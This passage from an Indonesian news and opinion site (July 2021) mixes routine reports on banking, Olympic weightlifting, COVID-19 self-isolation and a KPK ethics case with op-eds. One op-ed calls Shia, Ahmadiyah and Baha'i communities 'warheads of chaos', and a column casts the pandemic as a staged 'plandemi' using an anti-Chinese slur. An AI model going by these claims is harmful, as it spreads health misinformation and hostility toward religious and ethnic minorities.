banyak. Umat Islam wajar jika resah bahkan marah. Baha'i difatwakan sesat oleh MUI karena cara ibadah menyimpang seperti shalat sehari tiga kali, puasa 19 hari, berkiblat ke gunung Carmel di Israel, Baha'ullah itu Rasul, tempat ibadah bukan masjid tetapi "mashriqul adhkar" tempat puji-pujian dan do'a. Tak ada shalat jum'at. Shalat berjama'ah pun tidak ada, yang ada hanya shalat jenazah berjama'ah. Baha'i adalah agama campur aduk antara Budha, Brahma, Zoroaster, Mazdaq, Kebatinan, Kristen dan Yahudi serta faham-faham Persia sebelum Islam. Dalam perkembangannya mencampuradukkan pula Islam, Kristen, dan Yahudi. Karenanya taknjelas apakah Baha'i itu agama atau bukan. Sekte atau ajaran khayalan ? Anehnya, saat negara belum resmi mengakui Baha'i sebagai agama, justru Menteri Agama Yaquts secara resmi dan dengan serius telah mengucapkan selamat hari raya Naw Ruz 178 EB kepada masyarakat Baha'i. Memang mengurus agama itu harus ngerti agama dan pakai akidah. Bukan asal-asalan bertoleransi segebrusnya. Macem-macem saja Menteri Agama ini. Entah apa maksudnya, apakah sengaja ingin bikin gaduh negara dan rakyat ? Waspadalah pada gaya permainan Komunis yang biasa mengadu domba dan mengada-ada dalam urusan agama. Syi'ah, Ahmadiyah, dan Baha'i adalah hulu ledak kekacauan. Kiranya pak Menteri jangan menjadi pemicu. *) Pemerhati Politik dan Kebangsaan

Penanganan Covid19 Bagai Sinetron Berepisode

Oleh Tarmidzi Yusuf (Pegiat Sosial) Bandung, FNN - Kuat indikasi wabah Covid-19 di Indonesia akan berlangsung lebih lama lagi. Belum akan berakhir dalam waktu dekat. WHO sudah mewanti-wanti dengan varian baru. Pandemi nuansa plandemi berpotensi akan berlangsung hingga 2024. Nuansa politisasi Covid-19 layak disebut bagai sebuah misi tertentu. Bak sinetron berepisode-episode. Ceritanya sedih, tegang dan mengharu biru namun tiba-tiba banyak iklan jualan. Alat test covid, APD, vaksinasi dan obat. Selingannya, buzzeRp. Bikin isu sendiri. Gaduh sendiri sambil nunjuk-nunjuk FPI, HTI dan orde baru. Pergerakan rakyat dibatasi tapi tidak dipenuhi haknya seperti amanat UU No 6 tahun 2018. Khususnya pasal 55 tentang kewajiban pemerintah pusat memenuhi kebutuhan hidup dasar orang dan makanan hewan ternak. Durasi waktu tidak jelas. Tidak bisa diprediksi. Sengaja disamarkan. Mungkin erat kaitannya dengan skenario yang sedang dijalankan kelompok politik yang ingin terus berkuasa. _Pertama_, Pilpres 2024 berlangsung 'setengah' damai. Antara plandemi covid-19 dengan kepentingan mempertahankan kekuasaan aseng dan asong. Pada skenario ini, kemungkinan akan muncul tiga pasangan kandidat. Tergantung UU Pemilu direvisi atau tidak. Pasangan pertama. Jagonya Jokowi, yaitu Ganjar dan Airlangga. Kedua, pasangan jagonya kelompok nasionalis religius yaitu Anies dan AHY. Terakhir, pasangan Prabowo - Puan. Ganjar dan Airlangga berpeluang diusung NasDem dan Golkar dengan dukungan penuh Jokowi. Sementara PKS dan Demokrat, kemungkinan mengusung Anies dan AHY. Prabowo - Puan bakal diusung PDIP dan Gerindra. Sedangkan PKB, PAN dan PPP akan bergabung ke salahsatu poros dari ketiga kandidat tersebut. _Kedua_, bila pasangan calon yang didukung aseng dan asong. Seperti pada kemungkinan pertama di atas, gagal memenuhi presidential threshold. Dipredksi, drama Covid-19 akan mengalami puncaknya. Gonta ganti varian seperti kata WHO. Mungkin PPKM level 10 akan diberlakukan. Berlakunya PPKM level 10 berpotensi berlakunya kondisi darurat nasional. Imbasnya, Pilpres dan Pileg 2024 diundur. Masa jabatan presiden diperpanjang sampai batas waktu tertentu melalui dekrit presiden. _Ketiga_, Drama Covid-19 mencapai klimaks. Akibat kemungkinan kedua. Muncul gelombang ketidakpuasan terhadap rezim Jokowi. Rakyat melakukan perlawanan terhadap kebijakan politik Jokowi. Terutama dalam hal penanganan Covid-19. Bersamaan dengan gelombang aksi rakyat yang makin meluas. Pembusukan dari dalam kabinet Jokowi. Makin tajamnya rivalitas antar faksi di internal Jokowi. Ditambah kondisi ekonomi yang terus memburuk. Membuka peluang Jokowi lengser sebelum 2024. Drama Covid-19 berepisode-episode baru berakhir berbarengan dengan berakhirnya rezim Jokowi sebelum 2024? Wallahua'lam bish-shawab.

Mahfud dan NU Tidak Akan Bisa Menopang Jokowi Saat Rakyat Berkehendak

Oleh : Ahmad KhozinudinS (Sastrawan Politik "Sama, pemerintah juga punya keyakinan, kalau pemerintah Insya Allah sekarang ini tidak bisa dijatuhkan karena alasan Covid-19, karena tidak ada pelanggaran hukum yang dilakukan. Dan ternyata NU juga berpandangan demikian," [Mahfud MD saat menghadiri dialog virtual terkait penanganan Covid-19 bersama Said Aqil, Senin, 26 Juli 2021]. Jakarta, FNN - Menteri Koordinator Bidang Politik, Hukum dan Keamanan Mahfud MD, mengatakan Presiden Joko Widodo atau Jokowi tidak bisa dijatuhkan karena alasan Covid-19. Ia menegaskan tidak ada pelanggaran hukum yang dilakukan. Hal ini senada dengan pendapat Ketua Umum Pengurus Besar Nahdlatul Ulama Said Aqil Siradj. Namun Mahfud MD lupa, dahulu Gus Dur (Abdurahman Wahid) juga jatuh, walaupun dijaga NU dan pasukan berani mati Gus Dur, bahkan Mahfud MD juga ikut terpental dari kursi menteri seiring mentalnya Gus Dur dari posisi Presiden Republik Indonesia. Selanjutnya, Megawati mendapatkan 'Durian Runtuh' dari proses penjatuhan Gus Dur dengan menduduki posisi Presiden RI. Saat ini, apabila Jokowi jatuh posisi Presiden akan diambil oleh Ma'ruf Amien. Artinya, kalau ada dendam politik NU terhadap PDIP, maka proses penjatuhan Jokowi akan menjadi bayaran lunas atas dendam sejarah NU terhadap PDIP. PKB, tentu lebih happy Presiden dari kalangan NU ketimbang petugas partai dari PDIP. Sejumlah partai lainnya, juga akan balik badan jika suara mayoritas rakyat menghendaki Presiden Jokowi mundur dari jabatannya. Golkar, Gerindra, dan Nasdem lebih fleksibel untuk mengubah haluan politik. Apalagi Golkar, politik Golkar terkenal paling dinamis dan dapat menyesuaikan dengan berbagai perubahan. Demi mempertahankan eksistensi partai, Golkar tanpa ragu meninggalkan Soeharto sendirian dan jatuh. Apalagi Jokowi yang bukan kader partai Golkar ? Gerindra, berhimpun hanya karena mendapatkan menteri di kabinet Jokowi. Saat melihat kondisi kekuasaan Jokowi hampir karam, Gerindra tidak akan berfikir lama untuk segera ambil sekoci dan membiarkan Jokowi tenggelam sendirian. Mahfud MD tak ada pilihan, harus ikut 'nderek Jokowi' dan tenggelam bersama saat kejatuhannya. Persis, seperti saat Mahfud tenggelam bersama tenggelamnya Gus Dur. Soal Covid-19 apakah bisa menjadi alasan pemakzulan Jokowi, publik juga paham kegagalan menangani pandemi adalah faktor penambah alasan meminta presiden mundur. Kegagalan Jokowi sebelumnya, sudah terlalu banyak. Sama seperti Gus Dur saat dijatuhkan, Bulog Gate dan Brunei Gate hanyalah pintu saja bukan penyebab utama. Sebab utamanya, adalah kehendak politik MPR yang saat itu dipimpin Amien Rais. Yang perlu diperhatikan, legacy seorang Amien Rais yang mampu menjatuhkan dua Presiden sekaligus, Soeharto dan Gus Dur, tidak dapat dianggap remeh. Apalagi, kekuatan intelektual Muhammadiyah justru menjadi faktor utama terjadinya dinamika perubahan dalam setiap sejarah berbangsa. Jadi, omongan Mahfud MD yang menyebut Pandemi tidak bisa dijadikan alasan untuk menjatuhkan Jokowi, atau karena ada dukungan NU terhadap Jokowi, hanyalah basa-basi untuk menguatkan psikologi kekuasaan yang saat ini telah rapuh, keropos, sadar tidak memiliki basis dukungan rakyat kecuali dari para buzzer. Atau bahasa sederhananya, justru konfirmasi kegelisahan Mahfud atas potensi kejatuhan Jokowi. Apalagi, statement seorang Said Aqil Siradj dalam menjaga kekuasaan rezim sangat dinamis. Sang kiyai, setiap saat dapat bermanuver bersama rakyat dan ikut menggerogoti legitimasi kekuasaan Jokowi. Al hasil, pernyataan Said Aqil Siradj meskipun dinisbatkan kepada NU, tetap saja tak dapat menjadi garansi untuk menjaga kekuasaan Jokowi. Politik sangat dinamis, politisi dan partai akan selalu memiliki alasan jika setiap saat pergi meninggalkan Jokowi. [].

Panglima TNI Resmikan Lapangan Putra Angkasa AAU di Jogjakarta

Jakarta, FNN - Panglima Tentara Nasional Indonesia (TNI) Marsekal Hadi Tjahjanto meresmikan Lapangan Putra Angkasa Akademi Angkatan Udara (AAU) di Jogjakarta, Selasa. "Lapangan yang diperuntukkan kegiatan fisik dan olahraga ini, diharapkan dapat meningkatkan ketangkasan para taruna dan taruni Akademi TNI AU," kata Panglima TNI saat upacara peresmian sebagaimana dikutip dari keterangan tertulis Pusat Penerangan TNI yang diterima, di Jakarta, Selasa. Peresmian lapangan baru di AAU itu, dilakukan dengan acara menekan tombol sirine oleh Panglima TNI Marsekal Hadi Tjahjanto. Usai kegiatan itu, para taruna dan taruni AAU mempersembahkan berbagai atraksi kepada Panglima TNI dan pejabat tinggi TNI AU, antara lain Kepala Staf TNI Angkatan Udara Marsekal TNI Fadjar Prasetyo, dan Gubernur AAU Marsda TNI Nanang Santoso. Atraksi yang ditampilkan oleh para taruna dan taruni, di antaranya Tari Nusantara, kolone senapan, dan pertunjukan drumband. Lapangan Putra Angkasa itu berbeda dengan lapangan lain di AAU, karena seluruh rumputnya menggunakan rumput sintetis. AAU, sebagaimana dikutip dari laman resminya, merupakan salah satu penyelenggara program studi vokasi (Diploma IV) yang berada di bawah naungan TNI Angkatan Udara. Taruna dan taruni AAU tidak hanya menjalani kegiatan perkuliahan, tetapi juga mengikuti pendidikan menjadi seorang perwira. Karena itu, lulusan AAU akan menjadi perwira TNI AU berpangkat letnan dua. Dari laman resminya, Akademi Angkatan Udara menyebut pihaknya memiliki visi menjadi perguruan tinggi militer yang unggul di bidang ilmu pengetahuan dan teknologi kedirgantaraan bertaraf internasional. AAU juga menetapkan visi melahirkan pemimpin berkarakter, berintegritas, profesional, modern, dan berwawasan kebangsaan. Demi mencapai tujuan-tujuan itu, AAU menetapkan misi antara lain membentuk perwira berkarakter sebagai pemimpin masa depan untuk mengabdi kepada negara dan bangsa, serta menyelenggarakan dan meningkatkan kualitas maupun kuantitas pendidikan, penelitian dan pengabdian di bidang kedirgantaraan. Terakhir, AAU juga bertekad akan selalu mengembangkan tata kelola perguruan tinggi militer yang baik (good governance) secara berkelanjutan. (mth)

Triwulan II 2021 Laba Bank Jabar BantenTumbuh 14,4 Persen

Bandung, FNN - Raihan laba bersih Bank BJB pada Triwulan II 2021 tumbuh 14,4 persen menjadi Rp 924 miliar . Capaian tersebut menjadi cerminan bahwa Bank BJB mencatatkan kinerja yang positif di tengah situasi pandemi Covid-19 yang masih berlangsung hingga saat ini. Direktur Utama Bank BJB Yuddy Renaldi dalam siaran persnya, Selasa, mengatakan pertumbuhan tersebut juga diikuti oleh peningkatan nilai aset perseroan yang tumbuh sebesar 20,0 persen year on year (YoY) atau mencapai 150,4 triliun rupiah. Yuddy mengatakan, sektor kredit yang merupakan ujung tombak utama perseroan dalam mendongkrak pendapatan mampu tumbuh secara nett sebesar 6,7 persen year on year menjadi Rp 91,6 triliun rupiah. Kualitas kredit yang disalurkan pun terjaga dengan baik dengan tingkat NPL atau kredit macet hanya sebesar 1,34 persen. Angka tersebut, terpaut cukup jauh di bawah rata-rata industri perbankan nasional pada posisi Mei 2021 yang mencapai 3,35 persen. Selain itu, kinerja cemerlang perusahaan juga terlihat dari pertumbuhan dana pihak ketiga. Kepercayaan besar masyarakat menyimpan uang di Bank BJB mendorong pertumbuhan DPK sebesar 20,9 persen year on year hingga mencapai Rp 116,1 triliun rupiah. Menurut dia, di tengah terbatasnya aktifitas masyarakat, layanan digital Bank BJB mencatatkan pertumbuhan kinerja di masa pandemi. Aplikasi mobile banking Bank BJB, yakni bjb DiGi, berhasil tumbuh signifikan pada periode Desember 2020 - Juni 2021. Dalam kurun waktu tersebut, pertumbuhan user bjb DiGi tercatat mencapai 121,2 persen. Pertumbuhan tersebut diprediksi akan terus melesat seiring dengan peningkatan fitur layanan digital banking Bank BJB. Yuddy mengatakan, pencapaian kinerja positif pada triwulan II 2021 tersebut mencerminkan kekuatan kinerja perusahaan di tengah masa pandemi. Hal tersebut dapat terwujud berdasarkan perencanaan yang matang serta eksekusi strategi bisnis yang efektif. "Langkah-langkah untuk menopang laju pertumbuhan bisnis dirancang supaya dapat adaptif pada berbagai situasi. Seluruh aktivitas bisnis yang kami jalani senantiasa selaras dengan semangat peningkatan kualitas pelayanan. Hal tersebut dilakukan guna mengoptimalisasi potensi pertumbuhan usaha disamping juga mewujudkan percepatan pemulihan ekonomi pasca Covid-19,” kata Yuddy sebagaimana dikutip dari Kantor Berita Antara. Oleh karena prestasi tersebut, Direktur Utama Bank BJB Yuddy Renaldi berhasil meraih predikat “Indonesia Best CEO Award 2021” dalam Regional Development Bank Category atau Kategori Bank Pembangunan Daerah. Penghargaan tersebut diberikan oleh Iconomics Research and Consulting. Salah satunya diberikan atas dasar penilaian tim riset terhadap keberhasilan kinerja CEO dalam memimpin perusahaan di tengah pandemi COVID-19. (MD).

Pertumbuhan Ekonomi Syariah Lebih Baik Dari Nasional

Jakarta, FNN - Bank Indonesia menyampaikan bahwa pertumbuhan ekonomi syariah pada 2020 dan awal 2021 lebih baik dibandingkan pertumbuhan ekonomi nasional. "Di 2020 dapat dikatakan baik dari ekonomi nasional. Pertumbuhan sektor ekonomi unggulan syariah mengalami kontraksi minus 1,72 persen atau lebih baik dibandingkan pertumbuhan nasional yang minus 2,07 persen,” kata Deputi Gubernur Bank Indonesia Doni Primanto Joewono dalam acara pembukaan secara daring FESyar 2021 KTI, Selasa, 27 Juli 2021. Kinerja ekonomi dan keuangan syariah pada kuartal pertama 2021, lanjutnya, juga menunjukkan perbaikan. BI mencatat adanya pertumbuhan positif 1 persen dibandingkan dengan kuartal sebelumnya. Kinerja positif tersebut ditopang oleh sektor andalan ekonomi syariah, yakni pertanian, makanan halal, fesyen muslim dan pariwisata ramah muslim. “Oleh karena itu kita konsisten menjalankan blueprint pengembangan ekonomi syariah Indonesia yang menjadi referensi bagi masterplan ekonomi syariah Indonesia,” ujar Doni. Ia menyebutkan tiga blueprint pengembangan ekonomi syariah adalah industri halal, keuangan syariah, dan peningkatan literasi ekonomi dan keuangan syariah. BI mencatat makanan halal sebagai sektor unggulan ekonomi syariah Indonesia, mempunyai potensi pangsa pasar global sebanyak 13 persen. Global Islamic Economic Indicator juga mencatat, industri makanan halal Indonesia berada di peringkat ke-4 dunia. “Ini merupakan suatu peluang buat kita, diversifikasi tujuan produk kalau bisa diperluas ke depan. Sebab, ekspor makanan halal di Indonesia di triwulan pertama 2021 sudah mencapai 10,34 miliar dolar AS,” ujarnya. Doni menyampaikan, BI juga fokus mendorong keunggulan sumber daya regional agar lebih berkontribusi dalam pemulihan ekonomi nasional. Dalam hal ini, BI memiliki tujuan untuk menciptakan high quality Indonesia product, sembari mendukung perbaikan struktur neraca pembayaran Indonesia dengan peningkatan ekspor serta mendorong pertumbuhan yang inklusif. Festival Ekonomi Syariah Kawasan Timur Indonesia 2021 pun menjadi salah satu upaya BI dalam menggali dan mengembangkan potensi yang dimiliki oleh masing-masing daerah. “Masa pandemi cenderung menghambat aktivitas global supply chain. Akan tetapi, justru menjadi kesempatan bagi Indonesia untuk menghidupkan pasar lokal dan aktivitas produksi nasional,” tuturnya. (MD).

Komisioner KPK Lili Pintauli Siregar Akan Disidang Terkait Pelanggaran Etik

Jakarta, FNN - Dewan Pengawas Komisi Pemberantasan Korupsi (Dewas KPK) akan menggelar sidang dugaan pelanggaran etik oleh Wakil Ketua KPK Lili Pintauli Siregar pekan depan. Anggota Dewas KPK Albertina Ho dalam keterangannya di Jakarta, Selasa, (27/7/2021) mengatakan, dewas telah mengumpulkan bukti-bukti atas laporan dugaan pelanggaran etik Lili tersebut. "Proses klarifikasi untuk pengumpulan bukti-bukti sudah selesai dan minggu depan akan disidangkan," kata Albertina. Ia mengatakan, laporan dugaan pelanggaran etik Lili cukup bukti untuk dilanjutkan ke sidang etik. "Ya, cukup bukti untuk ke sidang etik," ucap Albertina. Sebelumnya, dua penyidik KPK Novel Baswedan dan Rizka Anungnata serta mantan Direktur Pembinaan Jaringan Kerja Antar Komisi dan Instansi (PJKAKI) Sujanarko melaporkan Lili kepada Dewas KPK atas dugaan pelanggaran etik. Pertama, dugaan menghubungi dan menginformasikan perkembangan penanganan kasus Wali Kota Tanjungbalai M Syahrial. Atas dugaan perbuatan tersebut, Lili diduga melanggar prinsip integritas, yaitu pada Pasal 4 ayat (2) huruf a, Peraturan Dewan Pengawas KPK RI Nomor 2 Tahun 2020 Tentang Penegakan Kode Etik dan Pedoman Perilaku KPK. Kedua, dugaan Lili menggunakan posisinya sebagai Pimpinan KPK untuk menekan Wali Kota Tanjungbalai M Syahrial untuk urusan penyelesaian kepegawaian adik iparnya Ruri Prihatini Lubis di Perusahaan Daerah Air Minum Tirta Kualo Tanjungbalai. Atas dugaan perbuatan tersebut, Lili diduga melanggar prinsip Integritas yaitu pada Pasal 4 ayat (2) huruf b, Peraturan Dewan Pengawas KPK RI Nomor 2 Tahun 2020 Tentang Penegakan Kode Etik dan Pedoman Perilaku KPK. Sebelumnya, Lili telah membantah pernah menjalin komunikasi dengan M Syahrial terkait penanganan kasus. "Bahwa saya tegas mengatakan bahwa tidak pernah menjalin komunikasi dengan tersangka MS terkait penanganan perkara yang bersangkutan. Apalagi membantu dalam penanganan perkara yang sedang ditangani oleh KPK," kata Lili saat jumpa pers di Gedung KPK, Jakarta, Jumat (30/4). (MD).

Dua Tersangka Pemalsu Surat PCR Diringkus Polres Jaksel

Jakarta, FNN - Anggota Kepolisian Resort Metro Jakarta Selatan meringkus dua tersangka yang diduga memalsukan surat hasil tes usap COVID-19 "polymerase chain reaction" (PCR) untuk syarat perjalanan pada masa Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM). "Dari penyelidikan didapatkan dua tersangka atas nama J dan atas nama ID. Dari tersangka tersebut kita mendapatkan beberapa perlengkapan di luar perlengkapan medik namun dia bisa mengeluarkan sertifikat PCR," kata Kapolres Metro Jakarta Selatan Komisaris Besar Polisi Azis Andriansyah di Jakarta, Selasa. Azis menuturkan para tersangka menjalankan aksi dengan modus memalsukan surat tes usap yang diterbitkan oleh penyelenggara tes resmi. Lebih lanjut, dia mengatakan bahwa kedua pelaku sudah menjalankan aksinya sejak April 2021 dan mengeluarkan 20 surat keterangan hasil PCR COVID-19. Aksi ini terungkap setelah penyidik melakukan penyelidikan pada beberapa akun media sosial yang menawarkan surat hasil tes PCR untuk syarat perjalanan. Kemudian penyidikan menemukan salah satu akun "Facebook" yang menawarkan sertifikat PCR tanpa melalui kegiatan medis kepada masyarakat. "Jadi dari hal tersebut diselidiki lebih lanjut oleh tim dan diketahui benar bahwa alamat akun tersebut bisa memberikan kepada masyarakat bukti sertifikat PCR tanpa melalui proses PCR yang benar," kata Azis. Atas perbuatan itu, kedua tersangka disangkakan dengan Pasal 263 dan Pasal 268 KUHP tentang pemalsuan surat atau membuat surat palsu dengan ancaman hukuman enam tahun dan atau empat tahun untuk Pasal 268. (sws)

Catatan Olympiade Tokyo 2020: Indonesia Perak dan Perunggu, Emasnya buat China

Bukankah kita membuka kesempatan seluas-luasnya tenaga kerja dari China bahkan di saat pandemi? Harusnya China juga memberi peluang bagi atlet-atlet Indonesia berlatih dan memetik pengalaman di sana. Suatu yang dahulu kerap dilakukan oleh atlet-atlet tenis meja, lompat indah Indonesia dan beberapa cabang lain yang memang atlet-atlet terbaik dunianya dari negara tirai bambu tersebut. Oleh Rahmi Aries Nova SALUT atas raihan Kontingan Indonesia di ajang Olympiade Tokyo 2020 hingga Senin (26/7). Lewat dua lifternya Windy Cantika Aisah dan Eko Yuli Irawan, Indonesia meraih satu medali perak dan satu perunggu. Bagi Eko itu medali keempat di ajang paling bergengsi di dunia. Setelah sebelumnya meraih perunggu di Bejing (2008) dan di London (2012), Eko berhasil meraih perak di Brasil (2016), dan ia ulangi lagi di Tokyo. Kini ia memegang rekor sebagai atlet Indonesia peraih medali olimpiade terbanyak! Windy juga tak kalah berkilaunya. Tampil kali pertama di olimpiade, Juara Dunia Yunior itu mampu naik podium di Tokyo Internasional Forum pada Sabtu (24/7). Atlet asal Bandung tersebut berhak atas medali perunggu, yang ia kalungkan sendiri (sesuai protokol covid). Masa depan Windy yang baru berusia 19 diperkirakan masih panjang. Seperti tradisi medali di cabang angkat besi, tradisi bonus miliaran rupiah pun bakal jadi milik mereka. Sementara medali emas dari dua nomor itu (kelas 49 kg putri dan 61 kg putra) tersebut jadi milik lifter Cina lewat Hou Zhizui dan Li Fabin. Selisih angkatan Windy dan Zhizui cukup jauh. Jika Zhizui angkatan snacth-nya 94 kg, clean and jerk 116 kg, total 210 kg, angkatan total Windy 194 kg (snacth 84 kg, clean and jerk 110 kg). Peraih medali perak dari India, Chanu Saikhom Mirabai mencatat angkatan 87 kg snacth, 115 kg di clean and jerk (total angkatan 202 kg). Li Fabin bahkan memecahkan dua rekor olimpiade dalam angkatan clean and jerk 172 kg, dan total angkatan 313 kg. Eko hanya mampu menguntitnya di total angkatan 302 kg (snacth 137 kg, clean and jerk 165 kg). Peraih medali perunggu dari Kazakhstan Igor Son mencatat 131 kg untuk angkatan snatch, 163 kg clean and jerk, total angkatan 294 kg. China menjadi momok yang menakutkan di cabang angkat besi. “Tidak peduli siapa yang mereka kirim, siapa nama mereka, mereka akan mengalahkan kami,” kata mantan atlet angkat besi Finlandia, Karoliina Lundahl dalam sebuah artikel di insidethegames.biz. “Di kejuaraan dunia, kita semua pasti akan melihat daftar peserta, kalau tidak ada huruf (CHN) di nomor yang Anda ikuti, Anda akan mengadakan perayaan kecil,” ungkap Lundhal lagi. Maksudnya jika tidak ada lifter China, nomor yang diikuti artinya harapan meraih medali bisa lebih besar. Begitu perkasanya China di cabang tersebut. Mengapa kita tidak berguru ke negara mereka? Mengapa tidak mengirim lifter-lifter kita untuk berlatih di China? Bukankah kita membuka kesempatan seluas-luasnya tenaga kerja dari China bahkan di saat pandemi? Seharusnya China juga memberi peluang bagi atlet-atlet Indonesia berlatih dan memetik pengalaman di sana. Suatu yang dahulu kerap dilakukan oleh atlet-atlet tenis meja, lompat indah Indonesia dan beberapa cabang lain yang memang atlet-atlet terbaik dunianya dari negara tirai bambu tersebut. Berlatih dari kota ke kota di China selama setahun (persiapan SEA Games 1997). Atau jika tidak mampu membiayai atlet-atlet kita ke sana, mengapa tidak meminta bantuan China mengirim pelatih-pelatih terbaiknya ke Indonesia? Karpet merah lebih layak kita gelar untuk pelatih-pelatih China yang mau mengangkat prestasi olahraga Indonesia, ketimbang untuk tenaga-tenaga kerja mereka yang hanya ingin mengeruk tambang-tambang berharga kita, yaitu tambang tembaga, nikel, dan emas pastinya. ** Penulis adalah wartawan senior FNN.co.id.

LaNyalla Ingatkan Pemda Rutin Pantau Kondisi Pasien Isolasi Mandiri

Malang, FNN - Ketua Dewan Perwakilan Daerah (DPD) La Nyalla Mahmud Mattalitti mengingatkan pemerintah daerah (pemda) di Jawa Timur untuk rutin memantau pasien COVID-19 yang menjalani isolasi mandiri (isoman). Dalam keterangan tertulis yang diterima ANTARA, di Kota Malang, Selasa, LaNyalla menyatakan bahwa pemerintah daerah perlu memastikan segala kebutuhan pasien COVID-19 yang melakukan isolasi mandiri agar tetap terpenuhi. "Sudah menjadi tugas pemda untuk memastikan keselamatan pasien COVID-19 yang melakukan isoman. Pastikan segala kebutuhan seperti oksigen, obat-obatan, dan vitamin terpenuhi," kata LaNyalla. LaNyalla menjelaskan saat ini jumlah pasien konfirmasi positif COVID-19 yang menjalani isoman di wilayah Jawa Timur hampir sebanyak 28 ribu orang. Data Satgas COVID-19 Jawa Timur menyebutkan sebanyak 27.910 pasien, dari total 53.487 orang yang terpapar menjalani isoman. Senator asal Jawa Timur itu meminta pemda memastikan asupan gizi dan logistik bagi pasien isoman terjamin. Apalagi, jika isoman dilakukan oleh seluruh keluarga dalam satu rumah. Menurut LaNyalla, pemberian obat-obatan dan vitamin saja tidak cukup. “Pasien isoman tidak bisa keluar rumah. Bayangkan kalau satu rumah yang melakukan isoman, mereka akan kesulitan memenuhi kebutuhan makanan. Di sini Posko Pengamanan COVID-19 tingkat desa dan kelurahan sangat penting,” tuturnya. LaNyalla mengatakan Posko Pengamanan COVID-19 tingkat desa dan kelurahan bisa mengatur mengenai pemberian logistik pasien isoman di wilayahnya. Berbagai upaya perlu dilakukan untuk meringankan kondisi pasien COVID-19 yang melakukan isoman. “Jangan suruh mereka berpikir sendiri. Terutama untuk satu rumah yang melakukan isoman. Tugaskan pengurus RT/RW untuk memantau. Sediakan kebutuhan makanan pasien isoman dengan dana kas desa, atau ajak warga di sekelilingnya berpartisipasi," katanya. Ia mengingatkan, para pasien yang melakukan isoman untuk rutin mengecek saturasi oksigen. Jika saturasi oksigen rendah, harus segera mendapatkan penanganan medis, dari fasilitas layanan kesehatan terdekat. "Jika saturasi oksigen sudah berada di bawah 80, ini artinya kondisi memburuk dan harus segera mendapat penanganan medis lebih lanjut, terutama bagi yang memiliki penyakit bawaan atau komorbid,” jelasnya. Menurutnya, saat ini kapasitas rumah sakit lapangan di Jawa Timur sudah mengalami penurunan. Kapasitas RS Lapangan Indrapura Surabaya saat ini terisi 224 pasien dari 410 bed yang tersedia. Kemudian untuk RS Lapangan Idjen Boulevard Malang, dari total 316 bed kini terisi 275 pasien, dan RS Lapangan Dungus Madiun hanya terisi 81 pasien dari total 137 kapasitas yang tersedia untuk merawat pasien konfirmasi positif COVID-19. Berdasarkan data Satgas Penanganan COVID-19 Jawa Timur tercatat ada sebanyak 74 pasien COVID-19 yang meninggal dunia pada saat melakukan isolasi mandiri. LaNyalla menegaskan hal tersebut tidak boleh lagi terjadi karena bisa diantisipasi. "Peran Forkopimda hingga tingkat paling bawah penting sekali untuk selalu memantau keadaan pasien isoman. Dengan informasi yang update, puskesmas setempat bisa cepat bergerak memberi pertolongan,” ucapnya. LaNyalla memberi apresiasi kepada Pemprov Jawa Timur yang membuka program isi ulang oksigen gratis bagi pasien COVID-19. Layanan oksigen gratis yang dimulai di Surabaya Raya, dan Malang Raya, kini sudah mulai melebar ke sejumlah wilayah di Jawa Timur. Tercatat, di Provinsi Jawa Timur, secara keseluruhan ada sebanyak 280.261 kasus konfirmasi positif COVID-19. Dari total tersebut, sebanyak 209.663 orang dilaporkan telah sembuh, 18.899 dinyatakan meninggal dunia, dan sisanya berada dalam perawatan. (mth)

Layanan Telemedisin untuk Warga Isoman Siap Diterapkan di Surabaya

Surabaya, FNN - Layanan telemedisin dari Kementerian Kesehatan untuk membantu penanganan para warga yang menjalani isolasi mandiri (isoman) karena terpapar COVID-19 siap diterapkan di Kota Surabaya, Jawa Timur. "Kami meminta metodenya disederhanakan, sehingga warga isoman dapat mengakses layanan telemedisin. Apalagi sebagian besar yang isoman itu ada di kampung-kampung," kata Wakil Wali Kota Surabaya Armuji saat pimpin rapat koordinasi daring penanganan COVID-19 di Surabaya, Selasa. Adapun layanan telemedisin yang diberikan berupa konsultasi dengan dokter, bantuan ambulans, kunjungan ke rumah oleh tim medis, layanan pengantaran obat gratis ke lokasi pasien COVID-19 yang menjalani perawatan di rumah. Menurut Armuji, Kemenkes memperluas jangkauan penggunaan layanan telemedicine di lingkungan Jawa Barat, Jawa Tengah, Jawa Timur, dan Bali. Namun, lanjut dia, penggunaannya baru menjangkau skala perkotaan. Layanan telemedicine ini sebelumnya diujicobakan di DKI Jakarta kemudian diperluas sehingga mencakup wilayah Jakarta, Bogor, Depok, Tangerang, Bekasi (Jabodetabek). Selain Jabodetabek, kini penggunaan layanan telemedicine ini diperluas lagi di Karawang, Kota Bandung, Kota Semarang, Kota Surakarta, Kota Yogyakarta, Kota Surabaya, Kota Malang, dan Kota Denpasar. Ada 11 platform telemedicine di Indonesia yang bekerja sama dengan Kemenkes antara lain Halodoc, YesDok, Alodokter, Klik Dokter, SehatQ, Good Doctor, Klinikgo, Link Sehat, Milvik, Prosehat, dan Getwell. Rapat koordinasi daring penanganan COVID-19 itu dipimpin Wawali Armuji dengan dihadiri pihak Kementrian Kesehatan, Asosiasi Telemedicine Indonesia, Dekan Fakultas Kedokteran se-Surabaya dan Komisi D Bidang Kesra DPRD Surabaya. Saat memimpin rakor itu, Armuji sempat meminta penjelasan terkait dengan mekanisme dan tata cara mengakses obat-obatan yang disediakan oleh Kemenkes melalui platform telemedisin. "Warga kami cukup banyak yang isolasi mandiri sehingga pelayanan kesehatan terhadap warga harus dioptimalkan salah satunya dengan mengirimkan obat-obatan," ujarnya. Saat ini, lanjut dia, Pemkot Surabaya sedang mempersiapkan rumah sehat yang tersebar di 154 kelurahan dengan menggunakan gedung-gedung sekolah dasar dan aset pemerintah. Ia berharap rumah sehat tersebut dapat disinergikan dengan program Kemenkes. "Jadi pemkot menyiapkan rumah sehat dan Kemenkes bisa membantu pasokan obat-obat maupun layanan konsultasi melalui platform telemedisin," katanya Sementara itu, perwakilan dari Direktorat Surveilans dan Karantina Kesehatan (Surkarkes) Kemenkes Imran Pambudi menyampaikan untuk mengakses fasilitas telemedisin dan paket obat-obatan harus melaporkan hasil tes usap PCR atau tes cepat antigen ke Database Kemenkes dengan Sistem New All Record (NAR). (mth)

Akademisi: COVID-19 Misteri yang Menggetarkan Hati

